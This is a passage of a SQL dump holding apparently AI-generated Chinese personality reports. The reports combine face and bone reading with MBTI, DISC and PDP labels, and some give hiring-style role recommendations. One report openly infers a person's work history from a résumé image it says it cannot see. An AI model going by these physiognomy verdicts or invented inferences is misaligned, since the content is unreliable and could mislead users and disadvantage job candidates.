抗压方式偏「迎难上」,能在压力下保持理性判断\\n\\n5. **学习与迭代能力** \\n - T + C 特质使你愿意学习新方法、复盘问题 \\n - 会不断调整自己的策略和做事方式,以追求更高效的结果\\n\\n---\\n\\n## 五、可提升方向(有针对性的建议)\\n\\n1. **柔化表达方式,减少无意的压迫感** \\n - 问题不在逻辑,而在「语气与时机」: \\n - 在给反馈前先简短肯定,再指出问题 \\n - 避免在公开场合直接、尖锐地挑战个人,更聚焦问题和方案 \\n - 目标:同样的观点,用更让人「愿意接受」的方式表达\\n\\n2. **容忍差异、提升耐心** \\n - 你的节奏和标准往往高于平均值 \\n - 建议: \\n - 区分「必须做到」和「可以妥协」的标准 \\n - 对节奏慢、风格不同的同事,多用「提问式」而非「指责式」沟通: \\n - 「你现在最大困难是什么?」 \\n - 「我们一起看看怎么帮你提速?」\\n\\n3. **增强情感维度的领导力** \\n - 目前偏「任务+结果」领导方式 \\n - 可以刻意增加: \\n - 了解成员个人动机与压力 \\n - 在关键节点给予情绪支持,而不是只盯结果 \\n - 这会显著提升团队忠诚度和配合度\\n\\n4. **适当放权,避免过度控制** \\n - 强控制与高标准容易导致「事事亲力亲为」 \\n - 建议建立: \\n - 清晰的目标和检查节点 \\n - 把过程决策权交给团队,让别人也承担结果 \\n - 有助于你从「高级执行者」升级为「真正的管理者」\\n\\n5. **给自己预留「独处思考」时间** \\n - 虽然外向,但面相/INTJ 指向你有不小的「深度思考」需求 \\n - 建议在节奏很快的工作中,给自己固定的: \\n - 每周1-2次,1-2小时的独立思考时间,用于:复盘、规划、思考长期方向 \\n - 有利于你避免陷入只顾执行、不看方向的忙碌状态\\n\\n---\\n\\n### 总结一句话画像\\n\\n一个以结果和逻辑为核心、外向主动、有号召力的组织者型人才:在高压环境中能扛事、能带队、能推动复杂任务落地;同时需要在表达柔和度、对他人差异的耐心以及情感链接上做适度升级,以从「强势的执行型领导」成长为「兼具温度与格局的成熟管理者」。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773132629, 1773132629, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (105, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、规划导向,擅长在安静环境中深度思考与系统决策。重视长期价值,执行风格低调克制但持续有力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg\"], \"boneAnalysis\": \"骨骼线条偏方正厚实,中停与下停力量感足,格局偏稳健持久型,重视现实落地。\", \"faceAnalysis\": \"额头与下颌饱满,眼神专注,鼻梁端正,整体给人理性、稳健而有耐性的印象。\", \"personalitySummary\": \"思维逻辑清晰,惯于独立判断与长期规划;情绪外露度低,人际中略带距离感;做事专注、有责任心,适合承担重要项目与关键决策角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773133602, 1773133602, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (106, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、心智缜密,重视规划与秩序,擅长长期目标推进与关键决策,适合承担核心职责。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg\"], \"boneAnalysis\": \"五官骨骼清晰、骨重肉薄偏金木形,相框修长有角度,颧骨内敛、下颌坚挺,显露决断力强、规划导向与持久执行力。\", \"faceAnalysis\": \"额头平阔顺滑,眼神专注克制,鼻梁挺直,嘴唇收敛有度,下颌线利落,整体给人理性稳重、专注内敛之感。\", \"personalitySummary\": \"思维逻辑严谨,做事计划性强,重视原则与底线,情绪外显度低但责任心重,适合独立思考与统筹复杂事务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137394, 1773137394, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (107, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静且目标感强,善于规划与统筹,做事稳健高效,适合承担关键决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg\"], \"boneAnalysis\": \"骨相匀称偏骨重,颧略内敛不外突,下颌骨线条利落,属木土兼具之稳健型,重视现实落地与长远积累。\", \"faceAnalysis\": \"额头平阔顺滑,眼神沉静专注,鼻梁端正细致,嘴唇收敛有度,下颌线清晰,整体给人理性自持、判断力强的气质。\", \"personalitySummary\": \"性格内敛理性,有清晰边界与责任心,重视秩序与规则,擅长独立思考与深度分析,对自我要求高,抗压稳定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137428, 1773137428, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (108, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,思维细腻有规划,重视内在原则与长期发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五官骨感清秀属木水形,骨肉匀称偏纤细,重直觉与思考,抗压方式以理性内耗消化为主。\", \"faceAnalysis\": \"额头偏高顺滑,眼神内敛专注,鼻梁细直,唇形柔和收敛,下巴略尖显敏感思辨。\", \"personalitySummary\": \"内向克制而有主见,重价值观与深度连接,做事谨慎有条理,擅长独立思考与长期规划,对情绪与环境变化较敏感。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773197744, 1773197744, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (109, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静偏内向,思考缜密,重视个人空间与专业深度,适合研究分析与策略规划类工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感适中偏纤细,五行偏木水形,骨肉匀称,思维敏捷重逻辑,抗压方式以理性分析和持续消化为主。\", \"faceAnalysis\": \"额头饱满、眼神内敛而专注,鼻梁清秀,嘴形柔和含蓄,下颌较尖,整体偏理性内向型气质。\", \"personalitySummary\": \"安静理性,独立思考力强,做事有条理而不急躁,情绪外显度低但内心细腻,偏向以专业与思考影响他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214222, 1773214222, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (110, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性细腻,思维缜密,内敛专注,情感深而有度,适合深度思考与策略规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称,颧骨不显而有支撑力,属韧性与耐力并存型,重思考胜过外放冲劲。\", \"faceAnalysis\": \"额形平顺,眼神温和内敛,鼻梁细直,唇形含蓄,下巴柔中带坚,整体偏理性内向与审慎气质。\", \"personalitySummary\": \"性格安静理性,重内在原则与价值观,做事有规划且追求完美,情绪稳定但表达含蓄,善体察他人并给予细腻支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214527, 1773214527, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (111, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性克制而细腻,重视长期目标与内在价值,做事安静专注,兼具温度与原则感。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨骼匀称偏细长,颧骨不外突、下颌略带角度,属稳健内敛型骨相,重思考与节奏掌控,抗压方式偏理性持久。\", \"faceAnalysis\": \"额头平润饱满、眉眼清澈专注,鼻梁秀直、唇形端正收敛,下颌线流畅,整体给人理性细腻且自律的气质。\", \"personalitySummary\": \"性格安静独立,思维细腻有条理,重视原则与边界;对人温和但有距离感,擅长深度思考与长期规划,适合需要专注与判断力的岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216325, 1773216325, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (112, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉静理性,心思细腻有担当,重视长期规划与自我提升,适合在稳定高标准环境中深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"面骨线条流畅不突兀,骨肉均匀偏细腻,颧区含而不露,下颌骨稳实,属稳健持久型格局,重视内在力量与长期累积。\", \"faceAnalysis\": \"额头饱满平整,眼神柔和专注,鼻梁顺直,唇形饱满收敛,下颌线清晰,整体给人理性内敛、稳重可靠之感。\", \"personalitySummary\": \"性格安静理智,思路清晰,有原则与边界感,做事细致有耐心,擅长在低调中持续发力并稳定完成高标准任务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216370, 1773216370, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (113, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略清晰,目标导向强,善于规划与统筹,在稳定环境中能持续输出高质量成果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"骨相偏金木形,骨架分明而不过分外露,颧骨内敛、下颌有角度,属稳健理性型格局,重视原则与秩序,抗压持久。\", \"faceAnalysis\": \"额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰,整体给人冷静自持、内敛坚决之感。\", \"personalitySummary\": \"性格内敛克制,思维逻辑性强,做事计划周密而节奏稳健,倾向独立思考与深度研究,人际中保持适度距离但值得信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216421, 1773216421, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (114, 28, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重务实,责任感强,做事踏实细致,重视家庭与长期稳定,适合在熟悉领域深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg\"], \"boneAnalysis\": \"骨量适中偏厚,下颌圆厚承载力强,颧骨不张主守成,属土形稳健格局,重视现实与稳定。\", \"faceAnalysis\": \"额头饱满,下庭厚实,眼神内敛稳重,鼻梁端正,嘴型含蓄收敛,整体给人踏实可靠之感。\", \"personalitySummary\": \"性格内敛沉稳,重责任与承诺,做事耐心细致,抗压能力好,偏向长期投入与稳健发展路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218013, 1773218013, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (115, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健细致、有责任感与执行力,重视规则与现实结果,适合长期深耕与稳步进阶。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨相偏土形,骨肉均衡,颧骨内敛不外露,下颌有力,格局务实稳健。\", \"faceAnalysis\": \"额头宽阔鼻梁端正,下巴饱满,眼神沉稳,整体五官偏实在稳重型。\", \"personalitySummary\": \"性格务实内敛,重视承诺与责任,做事耐心细致,抗压性强,更偏向脚踏实地稳步推进型。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218078, 1773218078, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (116, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"谨慎稳健、责任心强,注重现实与细节,适合在稳定结构中承担关键职责并长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨架偏厚重、颧区内敛、下颌有力,属土形稳健格局,抗压持久,重实际执行与长期承载。\", \"faceAnalysis\": \"额头宽平、眼神沉稳、鼻梁端正、下颌厚实,整体给人理性踏实、重承诺有耐力的印象。\", \"personalitySummary\": \"性格内敛理性、有原则感与责任心,做事踏实有规划,重承诺与结果,适合在规则清晰的体系中长期负责重要模块。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218176, 1773218176, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (117, 1, 'resume', '{\"content\": \"下面的分析,会把你给到的多源信息(简历+人脸&骨相分析+MBTI 两套结果+PDP+DISC)做“去噪”和交叉验证,不按某一份测评的标签生搬硬套,而是抽取其中彼此印证的部分。\\n\\n---\\n\\n## 一、核心性格关键词(综合结论)\\n\\n- 冷静理性、重逻辑 \\n- 计划性强、组织导向 \\n- 目标结果导向,执行力稳定 \\n- 内在自我要求高,抗压持久 \\n- 外在沟通存在“社交/表现”一面(可切换出场) \\n- 情绪表达相对克制,不喜无效社交 \\n- 信任建立慢,但一旦认定就稳定可靠 \\n\\n整体更像:**理性驱动的组织者 + 可控输出的影响者**,而不是典型“高情绪化、随性”的孔雀型。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 生日 & 面相骨相信息带来的“底色”\\n\\n你给出的面相/骨相描述中,有几条很关键:\\n\\n- “额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰” \\n- “整体给人冷静自持、内敛坚决之感” \\n- “骨相偏金木形…属稳健理性型格局,重视原则与秩序,抗压持久”\\n\\n去掉玄学解释,从心理与行为特征上可提炼为:\\n\\n- **偏理性+克制**:天然会先观察、判断,再行动;不易情绪化爆发。\\n- **原则意识强**:在规则、秩序、底线这类问题上比较硬,容易成为团队里的“标准制定者/捍卫者”。\\n- **意志与抗压能力较强**:遇到压力时,更倾向于咬牙扛住&自己消化,而不是大幅情绪外露。\\n- **自我要求高**:下颌线清晰 +收敛嘴型,对自我控制与结果质量有一定要求。\\n\\n这与“理性冷静、谋略清晰,目标导向强”的面部性格描述基本一致,为后面“偏T、偏J”的人格取向提供了底层支撑。\\n\\n---\\n\\n### 2. 工作经历维度(推断)\\n\\n由于简历图片内容看不到,但可结合你给出的整体测评倾向做合理推断:\\n\\n- MBTI(系统测评版):**ESTJ,E/T/S/J都极度偏向一端(100%)** \\n- DISC:**I 主 C 次,D 也不低(20%)** \\n- PDP:**孔雀 85% + 老虎 15%**\\n\\n能够拿到这样一组结果,一般意味着在工作场景中,你:\\n\\n1. **经常处在“对人+对事并重”的位置** \\n - 有一定管理/协调/组织职责:带团队、协调资源、沟通多方。\\n - 必须对业绩/结果负责:对目标、时间节点、执行落地非常敏感。\\n\\n2. **现实行为中展现出较多“外向、高表达”的一面** \\n - 需要开会、汇报、谈判、对外沟通,这会拉高E、I(影响型)、孔雀型等维度分数。\\n - 这说明你**能且会主动沟通和影响别人**,而不是纯粹沉浸在自我世界。\\n\\n3. **在压力环境下,更倾向于掌控与推进,而不是退缩** \\n - ESTJ 的“总经理型”+ D/I/C 的组合,都指向“在压力下维持推动、控制与决策”的能力。\\n - 行为风格上很可能偏:**有节奏地快、决策时果断,对不落实的人和事容忍度低。**\\n\\n4. **做事习惯偏“系统+流程+节点管理”** \\n - 高J:习惯制定计划、重要事项要落到日程和清单上。\\n - 高S:注重实际可行性,关注细节执行而不是空谈概念。\\n - 高T:决策更多依靠逻辑、事实与收益,而不是“大家感觉如何”。\\n\\n人际模式方面,大概率是:\\n\\n- 在工作场合:可表现为开朗、健谈、逻辑清晰、能hold住场子,甚至带节奏。 \\n- 在私下/陌生场域:会更克制和选择性社交,不喜欢低效率的寒暄。\\n\\n这与“外部测评看起来很E/I/孔雀,面相与人设更偏INTJ/猫头鹰/C”的反差是吻合的: \\n**现实工作逼你表现得更外向、更具影响力,但内核仍偏理性与控制感。**\\n\\n---\\n\\n### 3. MBTI / PDP / DISC:交叉验证与“去伪存真”\\n\\n你这组数据里,**冲突点**非常明显:\\n\\n- 人脸分析:INTJ + 猫头鹰 + C(重逻辑、内敛、策略、规则) \\n- MBTI测评:ESTJ(极端E/S/T/J) \\n- PDP:孔雀 85%(高表现、爱社交) \\n- DISC:I 主 + C 次 + D 有一定比例(影响型+谨慎型+少量支配)\\n\\n如何去伪存真?可以这样理解:\\n\\n#### (1)认知风格:T + J 是确定的\\n\\n- T(思考型): \\n 所有系统都在强调你**强逻辑、重事实与结果**,几乎没有F(情感型)的显著证据。 \\n → 决策侧重“对不对”、“值不值”,而不是“大家开不开心”。\\n\\n- J(判断型): \\n 规划性、结构感、秩序感,一再出现(INTJ、ESTJ、C、猫头鹰)。 \\n → 你习惯有计划、有节点、有控制的推进过程,对“随时变化、完全随缘”的工作状态不适应。\\n\\n**结论:T+J 非常稳定,是真实性格的核心。**\\n\\n#### (2)内外向 & 表现欲:真实情况更像“工作型E,性格底色偏I”\\n\\n- 面相&骨相 + INTJ:指向**内敛、冷静、自我驱动** \\n- 但MBTI、PDP、DISC 又给出高E、高I、高孔雀\\n\\n合理解释是:\\n\\n- 你具备**足够的表达能力和外向行为资源**,可以在需要时主动讲话、谈判、展示、推动。\\n- 但这种外向更多是**“角色化的外向”**:基于角色需要(领导、项目负责人、业务推动者)而启用,而不是发自内心喜欢“永远在热闹中心”。\\n- 真正让你恢复能量的方式,很可能仍是:**独处、安静思考、系统性整理、自己控制节奏。**\\n\\n**结论:内心偏I,行为上能切换到E,是“可控外向型”的理性组织者。**\\n\\n#### (3)S vs N:实践偏S,思维可兼顾N,但以现实、落地为主\\n\\n- ESTJ 给出的 S 极高(务实、执行、落地);\\n- INTJ 带来的 N 是:愿意思考长远结构、系统规划、路径设计。\\n\\n在现实中,高位/中高责任岗位的人,往往要同时具备:\\n\\n- **N**:看方向、布局、预判风险; \\n- **S**:确保短期落地,盯执行、看细节。\\n\\n结合你“目标导向+统筹规划+稳定产出”的描述,比较可能是:\\n\\n- 思考方式上,愿意看全局和长远; \\n- 行动执行上,非常重视现实可行性与当前资源条件。\\n\\n**结论:略偏S 的 NJ 型,更像是“会算账的战略执行者”。**\\n\\n#### (4)PDP/ DISC 中的“孔雀 / I 型”如何理解?\\n\\n这部分不把它理解为“你就是典型孔雀型”,而看成:\\n\\n- 你在**工作角色中承担了较强的对人沟通与影响任务**:\\n - 需要激励团队、协调内外部资源、做跨部门沟通;\\n - 对外需要展示、路演、谈判、汇报。\\n- 因此在行为层面,被测评系统识别为高“影响、表现、社交”的典型特征。\\n- 但骨相与MBTI中的理性/规则侧,又说明:**你对人的态度并不浪漫化,带有功利理性与边界感。**\\n\\n**结论:你具备“高影响力的沟通能力”,但背后驱动并非“讨好”或“纯社交成瘾”,而是为了目标、为了事情推进。**\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- **决策:快而有依据** \\n 先快速收集核心信息,形成判断,然后迅速定调并推动执行。对拖拉和反复横跳会不耐烦。\\n- **执行:重纪律、重标准** \\n 更倾向于建立流程、指标、制度,要求团队遵守;“说了不做”是你最不能接受的点之一。\\n- **抗压方式:硬扛+理性拆解** \\n 面对压力,你不太会崩溃式发泄,更像是:“先稳住局面,分解问题,按优先级一件件解决”。\\n\\n### 2. 沟通风格\\n\\n- **表达风格:直、清晰、有条理** \\n 喜欢讲数据、事实、逻辑,少用含糊、情绪化的语句。对无效闲聊兴趣不大。\\n- **对下属/同事:要求明确,反馈直接** \\n 会说“哪里做得好,哪里不行,要改什么”;有时在敏感型同事眼中略“严厉/不够温情”。\\n- **对上级/客户:尊重但不迎合** \\n 能用专业和结果说话,不喜欢无原则的讨好;更多是通过“专业、靠谱”获取信任。\\n- **在人际距离上:适度保持边界** \\n 能友好相处,但保留个人空间,不轻易完全暴露自己的真实情绪和私生活。\\n\\n---\\n\\n## 四、优势亮点(可沉淀为职业竞争力)\\n\\n1. **逻辑清晰、判断力强** \\n 能快速抓住问题核心,基于事实与数据做决策,适合承担关键决策与把关角色。\\n\\n2. **规划与组织能力出色** \\n 擅长把目标拆解为计划、步骤、节点,并通过制度/流程保障执行落地。\\n\\n3. **稳定的抗压与责任心** \\n 面对压力与复杂局面,能撑得住、不轻易失控,适合在关键岗位顶住“最后一棒”。\\n\\n4. **可控输出的影响力** \\n 能在需要的时候表现为外向、能说会谈、有气场,既能面向团队也能对接外部。\\n\\n5. **原则性与可靠度** \\n 重承诺、重底线;在团队中容易被视作“可信赖、能依靠”的那一类人。\\n\\n---\\n\\n## 五、可提升方向(组合型性格的常见盲区)\\n\\n1. **情绪与表达的柔性度** \\n - 风险:过于强调效率与结果,容易在无意间让他人感到“冷/压迫感/不近人情”。 \\n - 建议:适度增加情绪化反馈,例如肯定情绪(“我知道这段时间大家很辛苦”)、表达感谢与支持,可以显著提升团队黏性。\\n\\n2. **对“非理性”因素的包容度** \\n - 风险:对拖沓、反复、情绪化个体耐受度低,可能在协作中产生隐性对立。 \\n - 建议:把他人的“情绪波动”视作一种“客观变量”,纳入你的系统管理中(例如:预留时间与空间给对方消化),而不是只看成“没道理”。\\n\\n3. **适当展示脆弱与人味** \\n - 风险:过度自控与硬扛,会让他人觉得你“不需要被理解”,从而难以建立真正深层信任。 \\n - 建议:在合适的范围内,适当分享自己的困难与真实感受,会增强团队对你的情感认同与愿意跟随的意愿。\\n\\n4. **警惕“过度掌控”倾向** \\n - 风险:TJ+C 型容易在关键事情上“什么都想亲自盯”,导致自己过劳+团队被动依赖。 \\n - 建议:对任务做“分层授权”:哪些必须你亲自把关,哪些只需设定标准与检查节点,刻意练习放手。\\n\\n5. **保留/发展 N 向的战略思维** \\n - 风险:若长期被业务压力拖入日常事务,可能把自己用成“高级执行官”,浪费战略潜力。 \\n - 建议:刻意留出思考时间,做中长期布局、预判行业变化,让自己持续处在“既能执行又能设计规则”的位置。\\n\\n---\\n\\n**综合结论一句话**: \\n你是一个以内在理性与秩序感为核心、在外部可切换为高影响力角色的组织者型人格。真正稳固的优势,在于:能兼顾“逻辑决策 + 计划执行 + 对人沟通”,但需要在柔性表达与授权放手上再做优化,以支撑更大规模、更高层级的管理与协作。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773218290, 1773218290, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (118, 29, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFJ\", \"title\": \"主人公\"}, \"overview\": \"外向温和,情绪稳定,人际感知敏锐,善于协调关系与推动事务落地。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg\"], \"boneAnalysis\": \"面骨平正不突兀,颧骨内敛有度,下颌圆厚,属土形偏稳健格局,重视责任与现实承载。\", \"faceAnalysis\": \"额头饱满,下庭有力,眼神柔中带定,鼻梁端正,嘴角上扬,整体给人亲和而踏实之感。\", \"personalitySummary\": \"性格外向友善,重视他人感受,做事稳中求进,沟通自然亲切,适合在协作与服务他人的场景中发挥长处。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218860, 1773218860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (119, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理 / PM(偏交付与执行方向)\", \"运营管理岗(业务运营、门店/区域管理、流程与标准落地)\", \"销售团队管理 / 渠道拓展经理(需带团队并对业绩负责)\", \"中层管理岗(小团队负责人、业务线负责人)\", \"需要对接多部门的协调角色(如实施、客服运营主管等)\"], \"notSuitable\": [\"需要长时间独立、深度研究、极少沟通的纯技术/研究岗\", \"高度无结构、完全缺乏规则的创业环境早期核心岗位\", \"以情绪陪伴、共情为主的助人职业(如心理咨询、社工)\", \"需要极高创造性、不受任何约束的艺术型岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"抗压与稳定性\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": 